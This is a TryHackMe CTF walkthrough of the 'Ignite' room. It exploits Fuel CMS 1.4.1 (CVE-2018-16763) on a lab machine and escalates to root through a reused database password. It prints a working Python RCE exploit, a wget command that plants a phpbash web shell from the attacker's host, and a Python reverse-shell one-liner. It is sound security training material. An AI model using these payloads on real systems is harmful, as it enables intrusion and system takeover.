

TryHackMe — Ignite

CTF Walkthrough | Fuel CMS 1.4.1 | CVE-2018-16763

Difficulty: Easy | Category: Web, Privilege Escalation

Machine Information

Field	Value
Room	Ignite
Platform	TryHackMe
Difficulty	Easy
OS	Ubuntu (Apache 2.4.18)
CVE	CVE-2018-16763
Vulnerability	Fuel CMS 1.4.1 — Remote Code Execution (RCE)
Flags	user.txt + root.txt

Phase 1 — Reconnaissance

Nmap Port Scan

The first step in any engagement is reconnaissance. We start with an Nmap scan to discover open ports and running services on the target machine.

```
nmap -sV -sC -oN nmap_scan.txt <TARGET_IP>
```

Why: -sV detects service versions, -sC runs default scripts, -oN saves output for reference. Always save your scan results.

Result: Only port 80 (HTTP) is open, running Apache 2.4.18 on Ubuntu. This tells us the attack surface is purely web-based.

Web Enumeration — Gobuster

Next, we enumerate the web server to find hidden directories and files. We start with a common wordlist, then expand our search.

```
# Initial directory scan
gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirb/common.txt -t 50

# Expanded scan with file extensions
gobuster dir -u http://<TARGET_IP>/assets/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
  -x php,html,js,css,txt,zip,bak,pdf -t 50
```

Why: The /assets/ directory returned 403 Forbidden on the directory itself, but individual files inside it may still be accessible. Always fuzz inside forbidden directories.

Checking robots.txt

robots.txt is always worth checking — it often reveals paths the developer wanted to hide from search engines.

```
curl http://<TARGET_IP>/robots.txt
```

Found: /fuel — this is the CMS admin panel path.

Landing Page Discovery

Navigating to the target IP in a browser reveals a default Fuel CMS 1.4 installation page. This page is a goldmine of information:

Field	Value
CMS	Fuel CMS
Version	1.4
Default Credentials	admin : admin
Config File	/fuel/application/config/database.php
Admin Panel	http://<TARGET_IP>/fuel

Why this matters: Default credentials are the lowest-hanging fruit in any engagement. Always try them before anything else.

Phase 2 — Exploitation

CVE-2018-16763 — Remote Code Execution

Fuel CMS 1.4.1 is vulnerable to an unauthenticated Remote Code Execution (RCE) vulnerability via the filter parameter in the pages/select endpoint. The PHP system() function can be injected through a crafted URL.

We locate the exploit using SearchSploit:

```
searchsploit fuel cms
searchsploit -m php/webapps/47138.py
```

Modifying the Exploit

The original exploit is written in Python 2 and points to localhost. We need to update it for Python 3 and our target IP.

Key changes made:

```
import requests
import urllib.parse

url = 'http://<TARGET_IP>' # Change to your target

def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while True:
    xxxx = input('cmd: ') # raw_input() -> input()
    burp0_url = url +
    '/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%
+ urllib.parse.quote(xxxx) + '%27%29%2b%27'
    r = requests.get(burp0_url) # Proxy line removed
    html = '<!DOCTYPE html>'
    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text, begin, 2)
    print(r.text[0:dup]) # print() with parentheses
```

Why: Python 3 replaced `raw_input()` with `input()`, `urllib.quote()` moved to `urllib.parse.quote()`, and `print` became a function. The proxy line was removed as we don't need Burp Suite here.

Running the Exploit

```
python3 exploit.py

cmd: id
# Output: systemuid=33(www-data) gid=33(www-data) groups=33(www-data)

cmd: whoami
# Output: systemwww-data
```

Note: The output shows 'system' prefix before results — this is PHP's `system()` function name leaking. It is normal for this exploit. The actual result follows immediately after.

We now have Remote Code Execution (RCE) as `www-data` — the Apache web server user.

Phase 3 — Shell Upgrade

Transferring phpbash

The RCE via the Python script is clunky. We upgrade to a semi-interactive browser shell using `phpbash`, which gives us a terminal-like experience directly in the browser.

Step 1 — Host `phpbash` on your attacking machine:

```
# Navigate to the folder containing phpbash.php
cd /path/to/phpbash/
python3 -m http.server 80

# Find your TryHackMe VPN IP
ifconfig tun0
```

Step 2 — Download `phpbash` to the target via the exploit:

```
cmd: wget http://<YOUR_TUN0_IP>/phpbash.php -O /var/www/html/phpbash.php
```

Step 3 — Access it in your browser:

```
http://<TARGET_IP>/phpbash.php
```

Why phpbash: It gives a much cleaner shell experience in the browser, supports directory navigation, and makes file enumeration significantly easier than the raw exploit.

Getting a Full Reverse Shell

phpbash is semi-interactive but still limited. For privilege escalation we need a full TTY shell. We use a Python reverse shell one-liner.

Step 1 — Start a netcat listener on your machine:

```
nc -lvnp 7777
```

Step 2 — Run the reverse shell from phpbash:cmd

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>","7777"));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Step 3 — Upgrade to full interactive TTY:

```
python -c 'import pty; pty.spawn("/bin/bash")'
# Press CTRL+Z to background the shell
stty raw -echo;fg
# Now you have a fully interactive shell
```

Why: A raw shell won't allow tab completion, arrow keys, or sudo prompts. The pty.spawn + stty trick gives us a proper interactive terminal experience.

Phase 4 — Privilege Escalation

Enumerating the System

Now that we have a shell as www-data, we enumerate the system looking for a path to root.

```
# Check current user
whoami && id

# Check sudo permissions
sudo -l

# Look at home directories
ls /home

# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null
```

Finding Credentials in Database Config

Going back to basics — the Fuel CMS landing page mentioned a database configuration file. This file often contains plaintext credentials that are reused across the system.

```
cat /var/www/html/fuel/application/config/database.php
```

Output reveals the database credentials:

```
$db['default'] = array(
    'hostname' => 'localhost',
    'username' => 'root',
    'password' => 'mememe',
    'database' => 'fuel_schema',
);
```

Key insight: Developers often reuse database passwords for system accounts. Always try discovered credentials against SSH and su.

Escalating to Root

With the password 'mememe' discovered, we attempt to switch to the root user:

```
su root
# Password: mememe

# Verify
whoami
```

```
# root
```

We are now root! This is a great example of password reuse — the database password worked directly as the root system password.

Phase 5 — Capturing the Flags

User Flag

```
find / -name 'user.txt' 2>/dev/null  
cat /home/<user>/user.txt
```

Root Flag

```
cat /root/root.txt
```

Pro tip: On this machine both flags were captured effectively at the same time once root access was achieved via the reused database password.

Attack Chain Summary

Field	Value
Step 1	Nmap scan — found port 80 (Apache 2.4.18)
Step 2	Gobuster — discovered /fuel admin panel and /assets/
Step 3	Fuel CMS 1.4.1 identified — CVE-2018-16763 RCE
Step 4	Modified Python exploit — achieved RCE as www-data
Step 5	Uploaded phpbash — upgraded to browser shell
Step 6	Python reverse shell — got full TTY
Step 7	Found DB creds in database.php — password: mememe
Step 8	su root with mememe — full root access
Step 9	Captured user.txt and root.txt

Lessons Learned

1. Always check for default credentials first — admin:admin saved significant time here.
2. Read everything on the landing page — the database config file path was listed in plain sight.
3. 403 Forbidden does not mean the content is gone — fuzz inside forbidden directories.
4. Database config files almost always contain plaintext credentials — always read them.
5. Password reuse is extremely common — always try discovered credentials on SSH and su.
6. Upgrade your shell early — a proper TTY makes everything easier.